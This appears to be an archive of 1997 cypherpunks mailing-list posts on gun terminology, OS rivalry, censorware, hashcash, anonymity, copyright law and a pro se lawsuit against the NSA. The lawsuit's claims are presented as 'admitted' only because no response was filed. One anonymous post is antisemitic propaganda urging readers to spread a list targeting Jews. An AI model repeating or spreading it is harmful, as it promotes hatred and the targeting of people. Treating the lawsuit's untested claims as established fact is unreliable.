cGOyvdlA1cdA0L5PLizCpAkt5TATDbSpus0uadPOrh/MEv7GcOdaT4eHlKUDL0rJ
ypwZt3VQqlkZKf7d7WISt/CicR2HiI1tDlqfqcJasvUvYJNshi0KpASVWCybZ49a
wiXytgjo2BlQCDUtCnAn0NH7hP+bqC3W9TaXcGMTyxaLMsUBsKFxTQ==
=DHrc
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "Journeys are about discovery, about lives touching briefly and then 
parting,
  except on the Internet, where distant lives can intertwine, and where a 
  journey of discovery never has to end." -- 	Jim Heid







From ravage at ssz.com  Mon Dec 22 15:31:44 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 07:31:44 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712222340.RAA20847@einstein.ssz.com>



Forwarded message:

> Subject: Re: Lock and Load 
> Date: Mon, 22 Dec 97 17:59:49 -0500
> From: "Brian B. Riley" 

> There are probably as many weapons where this is true as there where
> it is not. In general it makes most sense to check for safe condition
> before and after loading.

Would you be so kind as to give a specific example of a bolt action,
semi-automatic, or automatic rifle that can't be loaded on safe? I have
never seen a rifle that wouldn't allow this.

A parallel pistol example would be nice too, if you're so inclined.

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at REPLAY.COM  Mon Dec 22 15:48:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 07:48:45 +0800
Subject: Rich Graves and fight-censorship
Message-ID: <199712222344.AAA08997@basement.replay.com>




Can someone tell me why Rich Graves was kicked of fight-censorship some 
time ago?
Maybe Rich Graves himself will answer.






From declan at well.com  Mon Dec 22 15:58:55 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 23 Dec 1997 07:58:55 +0800
Subject: Censorware complaint online
Message-ID: 



The complaint in the Loudoun County censorware case is at:

  http://cgi.pathfinder.com/netly/spoofcentral/censored/

-Declan







From ant at notatla.demon.co.uk  Mon Dec 22 16:04:18 1997
From: ant at notatla.demon.co.uk (Antonomasia)
Date: Tue, 23 Dec 1997 08:04:18 +0800
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <199712222249.WAA03750@notatla.demon.co.uk>



I thought it was time someone totally unbiased commented
on this OS war thing!


Blanc writes:

>And, since Windows OS is so pitifully lousy, why do people continue to buy
>it, even without the computer attached;  why do they continue to upgrade,
>even if it's so slow and bloated?   Don't they realize Unix is better?
>Don't they realize they're just making Billg richer?

We buy computers ordered with blank disks in preference.  In fact this
one came with DOS and I wiped it on day 1.


> Want to parse MS Turd documents? Windows 95 and MS Office.

Red Hat's Applixware has had good reviews.  Besides I'm happy to return
unreadable messages asking for a different format.  If the other guy
refuses try him with DVI or something.   It's different if you're being
paid to use Windoze. I'll admit it - I did some Lose95 work today: what
was it ?  Trying to get a modem link to stay up.  I've done more creative
things, but not usually under Windoze.


> Want to run that program your mother sends you and wants you to run?

Quote her the exec format error you got.  Ha ha ha.


> Happened to buy a printer? It won't say "Yes! It works with Ghostscript!"

But you should soon find out from other people.





From: "Brian B. Riley" 

> Windows (who stole its interface from mac who stole it from xerox)
> type GUIs are easier to use than CLIs, it is only since the
> entrenchment of GUIs that they have come forth in the Unix/Linux
> world.

GUI interfaces are only easy for the few things they present
you with, after which they are imnpossible.  Unless you can
connect your "find" and "sed" icons in a pipeline ...
In fact I rarely even start X unless it's for the xboard chess game.

speaking of which ...
   Is Unix dying--or even dead?
   From: "S. M. Halloran" 

    From Edupage, 18 December 1997:
    <---------->
    TACTICAL SHIFT BY WORKSTATION COMPANIES
    Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
    Microsoft's Windows NT operating system provides new evidence that a
    growing number of companies are giving up on Unix and instead
    standardizing on Windows NT.  SGI hopes to be able to use its
    experience in developing high-end graphics software without having to
    spend a great deal of time building the underlying technology
    represented by an operating system. (Washington Post  17 Dec 97)
    <---------->

But SGI never did put any effort into it, which was why their network
programs were built on 'rcp' and needed fixing if you (horrors) set a password.

> turnkey "office suite" and try to give MS a run for its money.  There 
> is no time like now to get the X-Windows (or GUI-free-from-copyright) 
> Complete Office bundled together and have a media gathering to make 
> sure that all the important news organizations are informed.  You 
> should get decent press exposure, since MS-bashing seems to be in 
> vogue.  The Linux or FreeBSD people should select a mediagenic 
> spokesperson from the group--one with fire in the belly--and then do 
> the hard work of putting something together that a 25-year old 
> free-Unix developer's 72-year old grandmother can install to a x86 
> box.  In fact, your press conference would have real pinache if, in 
> fact, you put someone's 72-year old grandmother before a PC with an 
> empty disk drive, run the install, then type a short letter on the 
> fancy word processer, addressed to Bill G., with the message "Up 
> yours!"

I can think of someone possibly suitable for this last bit.
(R. what do you think ?)






From: SL Baur 

> Unix *is* far better and had the technology decades ago.

> Where can I get a laptop without a pre-installed O/S (or with Linux
> pre-installed) on it?

Try these people.  I'm not sure about laptops.


: VA Research Linux Workstations        |  The World's Best Linux Workstations
:                                       |           Featuring RedHat
: http://www.varesearch.com             |  Now offering VarStation II Systems

--
##############################################################
# Antonomasia   ant at notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################






From nobody at REPLAY.COM  Mon Dec 22 16:17:08 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 08:17:08 +0800
Subject: The Jewish Defense League doesn't want you to know!
Message-ID: <199712230010.BAA12360@basement.replay.com>




Recently The Jewish Defense League succeded in shutting the domain ABBC.COM
hosting a database of publicly available information of Jews who endorse 
censorship.
The ISP CLEVER.NET forced Ahmed Ramito take off the list without any 
justifiable reason such as invasion of privacy.
Under U. S. law public figures must demonstrate actual malice to recover 
damages
for invasion of privacy and for defamation.
But the information is publicly available and not covered by privacy laws 
in the United States.
If you want to review what the extremist Jewish organization JDL doesn't want
you to know go to http://www.dejanews.com
Use the following search profile:
  ~a nobody at replay.com & Ahmed Rami 
Download it now and distribute it widely.
Remember to download all the article segments!
Be aware that The Jewish Defense League was founded by terrorist Meir 
Kahane whose Kach Movement
was labeled a terrorist organization by the U. S. State Department.
Related References:
http://abbc.com
http://www.hatewatch.org
http://www.jdl.org






From billp at nmol.com  Mon Dec 22 16:21:14 1997
From: billp at nmol.com (bill payne)
Date: Tue, 23 Dec 1997 08:21:14 +0800
Subject: Filed Friday afternoon
Message-ID: <349EFA32.2EC9@nmol.com>



		       UNITED STATES DISTRICT COURT
                 FOR THE DISTRICT OF NEW MEXICO


William H. Payne        	   	              )
Arthur R. Morales                           )
                                            )
                Plaintiffs,                 )
                                            )
v                                           )	CIV NO 97 0266 
					                   )	SC/DJS
			                             )
Lieutenant General Kenneth A. Minihan, USAF )
Director, National Security Agency	         )
National Security Agency		              )
                                            )
                Defendant                   )


PLAINTIFFS' MOTION FOR SUMMARY JUDGMENT ON BASED ON
EVIDENCE FROM ADMISSIONS

1  COMES NOW plaintiffs Payne [Payne] and Morales [Morales] 

[Plaintiffs], pro se litigants to exercise their rights 

guaranteed under the Constitution and Federal Rules of Civil 

Procedure.

As the court may know,

  Rule 26 (b)(1) 
 
  Parties may obtain discovery regarding any mater, not   
  privileged, which is relevant to the subject matter  
  involved in the pending action, whether it relates  
  to the claim or defense of the party seeking discovery 
  or to the claim or defense of any other party, including  
  the existence, description, nature, custody, condition,  
  and LOCATION of any books documents, or other tangible 
  thing and the identity and location of persons have 
  knowledge of any discoverable matter. 
 
  Rule 36 states, 
 
  Request for admission (a) A party may serve upon any other 
  party a written request for the admission, for the  
  purposes of the pending action only, of the truth of any  
  matters within the scope of Rule 26(b) set forth the 
  request that relate to statements or opinions of fact 
  or of the application of law to fact including the 
  genuineness of any documents described in the request.   
  Copies of documents shall  be served with the request 
  unless they have been or otherwise furnished or made 
  available for inspection and copying.  The request 
  may WITHOUT LEAVE OF THE COURT, be served upon the 
  plaintiff after commencement of the action and upon any  
  other party with or after service of the summons and 
  complaint upon that party. ... 
 
Plaintiffs capitalize WITHOUT LEAVE OF THE COURT. 

2  Rule 36 states,

  {T]he matter IS ADMITTED unless, within 30 days after 
  service of the request, or with such shorter or longer 
  time as the court may allow, the party to whom the 
  request is directed serves upon the party requesting 
  the admission a written answer or objection address 
  to the matter signed by the party or by the party's 
  attorney, ...

Plaintiffs capitalize IS ADMITTED.

3 PLAINTIFFS' FIRST SET OF REQUEST FOR ADMISSION TO  
  
NSA DIRECTOR KENNETH MINIHAN were served 

 I HEREBY CERTIFY that a copy of the foregoing request 
 for admissions was mailed to Jan Elizabeth Mitchell, 
 Assistant US Attorney, 525 Silver SW, ABQ, NM 87102 
 this  Monday November 3, 1997. 


More than 30 days elapsed  and Plaintiff's have received 

no response from Minihan or Mitchell.

Therefore, Minihan ADMITS

  1  NSA is involved in 'spiking' [modifying the 
     advertised intended functions] electronic 
     equipment.

  2  NSA 'spiked' Iranian and Libyan cryptographic units 
     so that the  cryptographic key was transmitted with 
     the cipher text.

  3  Iranian messages were given to Iraq during the 
     Iran/Iraq war.

  4  NSA was involved in the conviction, by giving 
     contents of secret messages, of Ali Vakili-Rad 
     and Masour Hendi to the Court in Paris in the trial 
     for the stabbing death of Shapour Baktiar. 

  5  Minihan knows where copies of intercepted messages 
     are kept at NSA.

4  Requests for First set of Admission were mailed 

October 13, 1997.   More than 30 days has elapsed.  No 

response from lawyer Mitchell or respondents were received

by Plaintiffs.

Therefore,  NSA employee Brian Snow ADMITS

  1 He designed the cryptographic algorithm for the 
    Missile Secure Cryptographic Unit  (MSCU). 

  2 NSA funded the MSCU  at Sandia labs.

  3 In about 1983 he gave a presentation at NSA FANX 
    building to some Sandians involved with the Missile 
    Secure Cryptographic Unit. 

  4 In the presentation he showed electronic schematics 
    of the units to the Sandians.

  5 He told the Sandians about the electronic and 
    operational problems NSA had with the  
    cryptographic units he bought with him.

  6 He told the Sandians that one of the cryptographic 
    units failed in the Moscow embassy and transmitted 
    clear text.

  7 He concluded his talk telling the Sandians that NSA 
    had no operational failures once NSA went to dual 
    redundant cryptographic units.

  8 He told the Sandians not to ask for a theoretical 
    reason why dual redundant cryptographics never 
    failed, in the sense of releasing classified data, 
    but that this was based on practical  experience.

  9 William H. Payne was one of the Sandians in the 
    audience of his talk.

  10 He sat across the table from William H. Payne at 
     lunch in the cafeteria in the basement of the 
     FANX building directly after his talk.

  11  He was involved in algorithms associated with 
      the Clipper project.

  12  He where the documents specifying the MSCU 
      algorithm are located at NSA.

  13  He knows where the documents specifying 
      algorithms associated with the Clipper project 
      are located at NSA.

NSA employee Thomas White ADMITS

  15 He served as the liaison between NSA and Sandia 
     for the Deployable Seismic Verification System.

  16 He forwarded documents such as NSA's Orange book 
     and the public key Firefly chip to Sandia.

  17 He told Bill Payne that NSA regarded former 
     president Ronald Reagan as one of the US's  
     greatest traitors. 

  18 He told Bill Payne that the reasons NSA regarded 
     Ronald Reagan as one of the US's greatest traitors 
     is that Reagan, on TV announced to the world 
     that the US was reading Libyan communications. 

  19  He Bill Payne that the following day [after 
      Reagan's TV announcement] NSA could no longer 
      read Libyan communications.

  20  He knows where the documents specifying 
      Benincasa's correction to the original USO  
      seismic data authentication algorithm are 
      located at NSA.

NSA employee Mark Unkenholtz ADMITS

  21  He visited Sandia in about 1986-87 with R 
      division employee Ed Georgio to discuss which 
      data authentication algorithm should be used for 
      the US/USSR deployable seismic verification 
      system (DSVS). 

  22 He and Bill Payne discussed using public key for 
     the DSVS system. 

  23  He concluded that there were too many problems 
      with public key so it was best to continue using 
      the old Benincasa  USO (unmanned seismic 
       observatory) algorithm. 

  24  In 1989 he and others asked Bill Payne to write a 
      memorandum to NSA deputy director James J. Hearn 
      requesting help from NSA to develop new data 
      authentication algorithms. 

  25  He did this is because R division needed a letter 
      of support for more funding. 

  26  The DRAFT letter he asked Payne to write is seen 
      on Internet at jya.com, click cryptome, catch the 
       thread at August 29, 1997, SANDIA REPORT, 
       SAND91-2201 UC 706, Data Authentication for the 
       Deployable Seismic Verification System,  
       Appendix T, Benincasa's Algorithm Deficiencies.

  27  He asked Payne to fax the DRAFT letter to his 
      fiancee, Amy Johnston, since NSA did not have fax 
      for unclassified work readily available to use.

  28 The "To Mark and Ed, R" on page 183 of 
     SAND91-2201 UC 706 addressed him and his boss 
     boss at the time, Ed Donohue.

  29  He told Payne that NSA takes about a year to 
      evaluate an encryption/authentication algorithm  
      before it can be distributed for use. 

  30  He told Payne, in a response to a question from 
      Payne, that NSA runs crypto algorithms through 
      statistical tests. 

  31 After Payne wrote the Appendix T memorandum, NSA 
     sent a delegation to Sandia. 

  32  He and NSA employee Scott Judy designed a 
      replacement algorithm for Beninicasa's USO 
      algorithm.

  33  The replacement algorithm was code named GRANITE. 

  34  The GRANITE design addressed some of the 
      deficiencies in Benincasa's algorithm enumerated 
      in Payne's Appendix T June 21, 1989 DRAFT letter 
      to Hearn. 

  35 The GRANITE design addressed some of the 
     deficiencies in Benincasa's algorithm enumerated 
     in Payne's Appendix T June 21, 1989 DRAFT letter 
     to Hearn. 

  36 He knows where the documents specifying 
     Benincasa's to the original USO seismic data 
     authentication algorithm are located at NSA.

  37 He knows where the documents specifying his and 
     Judy's GRANITE algorithm are  located at NSA.

NSA employee Scott Judy ADMITS

  38  He met Payne at Sandia sometime after he wrote 
      the DRAFT letter on Internet at jya.com, click 
      cryptome, catch the thread at August 29, 1997, 
      SANDIA REPORT, SAND91-2201  UC 706, Data 
      Authentication for the Deployable Seismic 
      Verification System,  Appendix T,  Benincasa's 
      Algorithm Deficiencies.

  39  He later met Payne again at NSA in a meeting. 

  40  He told Payne that NSA bases its cryptographer 
      algorithm on principles other than mathematics. 

  41  He and NSA employee Mark Unkenholtz designed a 
      replacement algorithm for Beninicasa's USO 
      algorithm. 

  42  His replacement algorithm was code named GRANITE. 

  43 GRANITE design addressed some of the deficiencies 
     in Benincasa's algorithm enumerated in Payne's 
     Appendix T June 21, 1989 DRAFT letter to Hearn. 

  44  The number stepping on the internal registers of 
      GRANITE  was decreased in response to  
      deficiency 2 enumerated in the June 21, 1989 
      letter to Hern. 

  45  He knows where the documents specifying 
      Benincasa's correction to the original USO  
      seismic data authentication algorithm are 
      located at NSA.

  46  He knows where the documents specifying his  
      and Unkenholtz's GRANITE algorithm are located 
       at NSA.

NSA employee Edward Donohue ADMITS

  47  He met Payne at Sandia sometime after he wrote 
      the DRAFT letter on Internet at jya.com, click 
      cryptome, catch the thread at August 29, 1997, 
      SANDIA REPORT, SAND91-2201 UC 706, Data 
      Authentication for the Deployable Seismic 
      Verification System,  Appendix T,  Benincasa's 
      Algorithm Deficiencies.

  48 He was head of NSA's R division cryptographic 
     algorithms division in 1989.

  49 He knows where 
     1    Benincasa's original NSS/USO algorithm, 
     2    Benincasa's revision of 1, 
     3    The Unkenholtz - Judy GRANITE algorithm, 
     4    Brian Snow's  MSCU algorithm, 
     5    the clipper algorithms, 
     6    the STU III algorithms. 
     written specifications are located at NSA.

NSA employee Paul Bridge ADMITS

  50  He assumed liaison control from NSA employee 
      Tom White for the US/USSR seismic data 
      authenticator. 

  51 He placed a copy of 
 
    WORKING AGREEMENT BETWEEN  SANDIA NATIONAL 
    LABORATORIES  AND THE NATIONAL SECURITY 
    AGENCY CONCERNING RESEARCH IN CRYPTOGRAPHY 
    AT SANDIA NATIONAL LABORATORY 
 
  Sandia National Laboratories (SNL) and the National 
  Security Agency (NSA) have established a working 
  relationship which has gown substantially over 
  the last decade.  Currently, there exist several 
  joint project areas of mutual interest. 
 
  Different policies and administrative procedure 
  exist at SNL and NSA which govern the handling 
  of sensitive and classified material, and the 
  documentation and dissemination of such 
  work.  It is the purpose of the Agreement to 
  specify the general guidelines under which work 
  will be administered in the area of cryptography 
  research at SNL. 
 
  First, SNL, in its role as systems integrator, 
  requires and indigenous cryptographic capability 
  to support its Department of Energy mission in the 
  design and development of safe and secure nuclear 
  weapons and in treaty verification.  SNL and NSA 
  agree to a cooperative effort to support SNL's needs 
  in a manner consistent with the role of such work 
  to national security. 
 
  Second, NSA, in its role as the U.S. Government 
  approval authority for cryptographic systems 
  developed for and used in national security 
  applications, recognizes its responsibility to 
  provide support and guidance to SNL's activities 
  in applying cryptography. 
 
  Third, SNL will regard cryptographic research 
  work as classified when it is initiated or 
  created, i.e., will protect such work as 
  "created classified", and will consult with 
  NSA prior to handling such work as unclassified. 
  Periodic technical and managerial discussions 
  between SNL and NSA will be held to increase 
  the awareness of the security concerns of 
  both organizations and to develop and maintain 
  an SNL cryptographic classification guide which 
  will protect the national security interests of 
  both organizations. 
 
  This working agreement shall be effective on 
  the date of the last signature and will be 
  reviewed annually by SNL and NSA.  It will be 
  valid until terminated by mutual agreement. 
  
  AGREED: 
 
  ALBERT NARATH	RADM JAMES S. MCFARLAND 
  (USN) 
  President		Plans and Policy 
  TITLE			TITLE 
  SANDIA NATIONAL	NATIONAL SECURITY AGENCY 
  LABORATORIES
  June 10, 1991		22 July 1991 
  DATE			DATE 
 
  which is now seen on Internet at jya.com, 
  click cryptome, catch the thread at August 29, 
  1997. 

  52 His purpose of giving Payne a copy of the 
     Narath/MacFarland agreement an attempt to 
     threaten Payne.

  53  He told Payne that Sandia must regard the 
      US/USSR Deployable Seismic Verification 
      System (DSVS) authenticator as classified 
      and get permission from NSA to place the 
      unit in the field.  

  54  He told Payne that Sandia must have the DSVS 
      authenticator TEMPEST tested .

  55  He agrees Payne responded to him that the 
      previous unit had already passed TEMPEST 
      testing and that Payne's Sandia project 
      leader, H. B. [Jim] Durham, did not want to 
      spend the money to repeat the testing. 

  56  He told Payne that NSA should be getting the 
      capability to build cryptographic devices. 

NSA employee Rick Proto ADMITS

  57  He and group of other NSA employees met 
      Sandians H. B. Durham,  Ron Moya, and 
      William Payne at NSA at Fort George G. 
      Meade in about 1986 to discuss, in part,  
      implementation of the Deployable Seismic 
      Verification System data authenticator. 

  58  He and other NSA employees directed that 
      the NSA Unmanned Seismic Observatory data  
      authenticator algorithm designed by NSA 
      employee Ronald Benincasa be implemented 
      entirely in hardware.

  59  He and the other NSA employees at the meeting, 
      directed that the data authenticator be 
      enclosed in a TEMPEST enclosure.  Sandians 
      expressed objection to the TEMPEST enclosure 
      in that the authenticator was housed in a steel 
      tube buried about 100 meters beneath ground 
      surface. 

  60  He agrees that he and NSA employee Robert 
      Morris met with Sandia cryptographer G. J. 
      Simmons when Simmons asked them both the two 
      questions: 
 
      1  NSA is sorry it delegated cryptographic 
         implementation responsibility to Sandia 
         for nuclear weapons; 
 
      2  NSA is trying to take back this 
         responsibility? 

  61  He and/or Morris refuse to respond to 
      Simmons' above question.

Retired Sandia Employee Gustavus J Simmons ADMITS

  62  He with Sandia Paul Stokes designed a data 
      authentication algorithm for seismic treaty 
      verifications in the early 1970s.

  63  He and Stokes either patented, tried to patent, 
      or contemplated patenting their 
      authentication algorithm. 

  64  NSA, when we presented their seismic data 
      authentication algorithm to the Agency, 
      rejected its  use.

  65  He know that NSA gave Sandia the data 
      authentication algorithm designed by NSA  
      employee Ronald Benincasa to use in seismic 
      verification rather than use your and 
      Stokes algorithm.

  66  He feels that the algorithm that he and Stokes 
      proposed is as good or better than 
      Benincasa's algorithm.

  67  He feels that NSA demanding Sandia use 
      Benincasa's algorithm could be a case of  
      Not-invented-here as opposed to technical 
      advantages over his and Stokes 
      algorithm.

  68  In about 1986 he gave a presentation in 
      Sandia spook-shop building 868 to promote 
      the use of public key cryptography for use 
      in the Deployable Seismic Verification System.

  69  No one, until he received a copy of Payne's 
      technical report in 1992, SANDIA REPORT, 
      SAND91-2201 UC 706, Data Authentication for 
      the Deployable Seismic  Verification System 
      told him what algorithm and authentication 
      technology was used.

  70 He asked NSA employees Rick Proto and Robert 
     Morris to the effect, 
      1  NSA is sorry it delegated cryptographic 
         implementation responsibility to Sandia 
         for nuclear weapons; 
      2  NSA is trying to take back this 
         responsibility.
 
  71  Proto or Morris did not answer his questions.

  72  He retired before he planned from Sandia Labs.

  73  He felt that NSA exerted some pressure on 
      Sandia to have him retire.

  74  He told William Payne on the phone that he 
      was forced into early retirement as a result  
      of NSA pressures.

  75  He felt that some NSA algorithms do not are 
      properly classifiable.

  76 He felt that NSA abuses classification with 
     regard to cryptography.

  77 He feels that cryptography, by its 'slippery 
     math' basis, is difficult, if not impossible, 
     to regulate.

Sandia employee D. Jerry Allen ADMITS

  78  He was a supervisor Sandia's weapons components 
      department. 

  79  NSA has responsibility for furnished Sandia the 
      cryptographic algorithms and approving the  
      implementation technology which went into the 
      electronic locks in the US nuclear arsenal. 

  80  He told William Payne in about 1991-92 that 
      it cost $300,000 per nuclear bomb to recall 
      bombs to Pantex to remove and repair Sandia's 
      failing semiconductor chips.

Sandia employee Ronald Kulju ADMITS

  81  He worked in Sandia weapons components 
      department in about 1986/7.

  82  He was working on a project which involved 
      use of the Cylink corporation CY 1024 public 
      key cryptography semiconductor chip.  

  82  He made an agreement in about 1986/7 with 
      Payne.  He would design the hardware  
      oscillator for the CY 1024 if Payne would 
      try to get CY 1024 to communicate with an 
      80c51  microcontroller using synchronous 
      Mode 0 communications. 

  83  He told Payne that Sandia's public key 
      cryptography chips did not get the same 
      answers as the CY 1024. 

  84  He told Payne that NSA and Sandia was in 
      the process of removing  the public key 
      cryptography from weapons systems.

4  Admissions reveal that NSA employees KNOW where 

the lawfully requested documents reside.  And that 

NSA has EMBARRASSING problems with its cryptographic

algorithms.

5  Rule 56 states.  Summary Judgment states,

  The judgment sought shall be rendered forthwith 
  if the pleadings, depositions, answers to 
  interrogatories, and admissions on file, 
  together with the affidavits, if any,
  show that there is NO GENUINE ISSUE AS TO ANY
  MATERIAL FACT and that the moving party is 
  entitled to judgment as a matter of law.

Plaintiffs capitalize NO GENUINE ISSUE AS TO ANY
  
MATERIAL FACT.

Admissions attest to the contention that there 

are NO GENUINE ISSUE AS TO ANY MATERIAL FACT.

WHEREFORE,

6  Replace judges Svet and Campos because these judges

have demonstrated, IN WRITING, they do not follow the 

Federal Rules of Civil Procedure.

7  Award Plaintiffs motion for summary judgment 

as a matter of law based on admissions.  

8  Have replacement judges ORDER Defendant to 

produce immediately produce documents in 

machine-readable format for publication on 

Internet. In preparation for settlement of

this unfortunate bungled spy sting.  And analysis 

of 'deficient' NSA cryptographic algorithm work 

designed to get the US government out of the 

cryptography business.

9 grant such other relief as the Court may deem 

just and proper.


Respectfully submitted, 
 
 
                    _________________________ 
                    William H. Payne             	   	     
                    13015 Calle de Sandias NE          	     
                    Albuquerque, NM 87111              	     
 
 			
                    _________________________				 
                    Arthur R. Morales                            
                    1024 Los Arboles NW                         
                    Albuquerque, NM 87107                        
 
                    Pro se litigants 
 
 
               CERTIFICATE OF SERVICE 
 
I HEREBY CERTIFY that a copy of the foregoing memorandum
was mailed to Lieutenant General Kenneth A. Minihan, USAF, 
Director,  National Security Agency, National Security Agency, 
9800 Savage Road, Fort George G. Meade, MD 20755-6000 
and hand delivered to Jan E Mitchell, Assistant US Attorney, 
525 Silver SW, ABQ, NM 87102 this Monday December 22, 1997. 



13











From mhw at wittsend.com  Mon Dec 22 16:56:44 1997
From: mhw at wittsend.com (Michael H. Warfield)
Date: Tue, 23 Dec 1997 08:56:44 +0800
Subject: Lock and Load
In-Reply-To: <199712222142.NAA27915@sirius.infonex.com>
Message-ID: <199712222327.SAA06752@alcove.wittsend.com>



Mix enscribed thusly:
> Jim Choate wrote:
> > Forwarded message:
> > > Not being a native English speaker, I do not understand the
> > > meaning and origin of the phrase "LOck and Load".
> >
> > It means to lock the rifles safety and load it's chamber in preperation for
> > firing at an enemy. It is usualy used in a military context but head-bangers
> > and such use it when talking about loading their bongs and I am shure other
> > groups use it as well in various contexts.


> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

	The reference goes back to old flint lock muzzle loaders.  You would
"lock" the firing mechanism in a safety position (kind of a half cocked
position), then load it through the muzzle (picture this and some old
cartoons about raming a ball on top of gun powder down the muzzle of a
riffle and the possiblities to picture why you would want this locked on
"safety"), then finish cocking the rifle to prepare it to fire.  This also
relates to the term "half cocked" since a rifle that was only half cocked
(in its locked position) was not ready to fire.  So going off "half cocked"
became a reference to going into something unprepared while "lock and load"
evolved into a reference to actively or vigorously preparing to engage in
something, be it a battle, an arguement, or what ever...

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw at WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!






From annnapi at cts.com  Mon Dec 22 17:23:14 1997
From: annnapi at cts.com (Alternative News Network)
Date: Tue, 23 Dec 1997 09:23:14 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <349F11DD.9B5E22C6@cts.com>



    "Criminal Intent" used to be one aspect of a crime that was required
to be proved before a conviction could be made.

Today Criminal Intent comes into play only occasionally at sentencing,
otherwise the Judiciary just ignores it.

So don't kid yourself,  the words "Willful  Intent" are just there to
preserve a veneer of reasonableness. They will as a practical manner be
ignored.

Hasn't the governments motive for this new law been discussed yet?

Universal  PC (Probable Cause) to search the computers of dissidents and
political enemies.

    How simple to upload a CD ROM of some $1000.00 piece of "Pirated"
Software and secure a conviction. Roll the CMOS Date back a while, load
the program. Then change the CMOS date to the current correct one. Now
throw in a PGP encrypted Chapter of the Gulag Archipelago (appropriate)
and then claim all related doc's are encrypted (probably terrorist plans
and the accused refuse to divulge the password (they claim not to know
it or where the Software came from.. "ha ha we know better").

Ahh...a "New High Tech Weapon in the Government's fight against  their
"enemies"...the people.


Wm.




Robert A. Costner wrote:

> At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
> >since the infringment has to be "willful." That is, you have to
> >KNOW that what you're doing is INDEED an infringment in order to be
> >convicted.
>
> Section 506(a) of title 17, United States Code, is amended to read as
> follows:
> Any person who infringes a copyright willfully ....
>
> I know this has been discussed before, but I am unclear as to what are
> the
> differences between "willfully" and other concepts, such as
> "knowingly."  I
> wish one of the lawyer types on here could clarify this some more.  If
>
> willful means that you know what you are doing, then it might narrow
> the
> law some.  You would have to know the work was copyrighted, and you
> would
> have to know that the copying is not allowed by law.
>
> I'm confused by the law as it seems to make some actions criminal that
> I
> cannot conceive were meant to be criminal.  Since I know that by
> surfing
> the web and being on mail lists, and using usenet, I will exchange
> copies
> of copyrighted works I am confused by this new law's affirmation that
> I am
> participating in "financial gain" by reading web pages and the like.
> Since
> I am confused, perhaps my actions are not willful?
>
> Just what is the meaning of "Willful" in this context?
>
>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh at efga.org
>      http://www.efga.org/            run PGP 5.0 for my public key








From schear at lvdi.net  Mon Dec 22 17:48:07 1997
From: schear at lvdi.net (Steve Schear)
Date: Tue, 23 Dec 1997 09:48:07 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
Message-ID: 



At 5:55 PM +0000 12/22/1997, Adam Back wrote:
>Bill Stewart  writes:
>> >This is exactly what I was addressing: remailers only have to get
>> >themselves certified as remailers and then prove their certification
>> >to the destination
>> 
>> You're both taking the wrong approach - make the originator of the
>> message generate the hashcash, and make sure the remailer syntax
>> lets them paste it in as needed.  For chained remailers, generate
>> multiple layers of hashcash.  Maintaining whitelists is a losing
>> game, but unnecessary here.
>
>This works well enough.
>
>The more thorny problem to solve is that posed by Robert Costner: what
>do you do about nyms.  You (the sender) can't include postage for nym
>reply blocks because you don't know (and mustn't know) the remailer
>chain pointed to by the reply block.

eCache is probably the best solution for remailers (and probably SPAM in general) since real value can pass anonymously from sender to receptient.

>
>> Mailing lists are still hard, and perhaps best handled by the user's
>> software (or some fancy variant like user-selectable filters at the
>> ISP mailbox.)
>
>I think it's simplest to have the user explicitly allow the mailing
>list.

Yes, especially when the list requires a hashcash 'initiation,' before allowing unlimited postings, to prevent many  common list SPAM abuses.

--Steve







From comsec at nym.alias.net  Mon Dec 22 18:12:16 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Tue, 23 Dec 1997 10:12:16 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <349e6d47.103410314@nntp.best.ix.netcom.com>
Message-ID: <19971223020008.25945.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> :The fact that the people making the claims could not afford to pay even the
> :costs probably influences the decision.  
>  
> Nope. If a lawyer believes he can win and there big money involved, he'll take
> it on the premise that he gets paid if he wins.   If the defendant has nothing
> to offer, the lawyer won't do it.  Thus, the falsly accused may not be able to
> afford to go to court.  The decision to sue is mostly based on how deep the
> pockets of the defendant would be.

Then what's the point of going to all the trouble of tracking someone down if
you're unwilling or unable to take appropriate legal action against him
after he's found?
 
> :So you're suggesting that the victim should suffer.  You are really saying
> :that it is perfectly acceptable for someone to be run out of a newsgroup by
> :a single person who refuses to be killfilable.
>  
>  
> Yup, that's what he's saying.

I don't recall ever saying that.  How do you run a person out of
an unmoderated NG?  And if it's moderated, and the moderator is allowing what
you consider libel against you, then you probably have a case against him.
That's what the courts decided in a landmark case against an ISP.  When you
manage the content then you become responsible for it as well.

